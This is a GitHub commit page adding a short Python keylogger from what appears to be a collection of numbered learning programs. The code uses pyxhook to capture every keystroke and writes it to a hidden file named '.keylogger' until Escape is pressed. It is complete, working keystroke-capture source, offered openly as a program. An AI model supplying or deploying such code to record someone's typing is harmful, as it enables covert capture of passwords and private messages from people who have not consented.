Skip to content

Commit 5c86720

Browse files
committed
Simple Python Keylogger
1 parent 0d17ff3 commit 5c86720

File tree

1 file changed

+45
-0
lines changed

1 file changed

+45
-0
lines changed

Programs/P79_SimplePythonKeylogger.py

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
# Author: OMKAR PATHAK
2+
3+
import pyxhook
4+
import time
5+
6+
# functions to write a newline character into the file
7+
def newline():
8+
file = open('.keylogger', 'a')
9+
file.write('\n')
10+
file.close()
11+
12+
# This function is called every time a key is pressed
13+
def key_press_event(event):
14+
global running
15+
# write the key pressed into a file
16+
if event.Key != 'space' and event.Key != 'Escape':
17+
with open('.keylogger', 'a+') as File:
18+
File.write(event.Key)
19+
20+
# If the ascii value matches spacebar, add a newline in the file
21+
if event.Key == 'space':
22+
newline()
23+
24+
# If the ascii value matches escape, terminate the while loop
25+
if event.Key == 'Escape':
26+
running = False
27+
newline()
28+
29+
if __name__ == '__main__':
30+
# Create hookmanager
31+
hookman = pyxhook.HookManager()
32+
# Define our callback to fire when a key is pressed down
33+
hookman.KeyDown = key_press_event
34+
# Hook the keyboard
35+
hookman.HookKeyboard()
36+
# Start our listener
37+
hookman.start()
38+
39+
# Create a loop to keep the application running
40+
running = True
41+
while running:
42+
time.sleep(0.1)
43+
44+
# Close the listener when we are done
45+
hookman.cancel()

0 commit comments

Comments
 (0)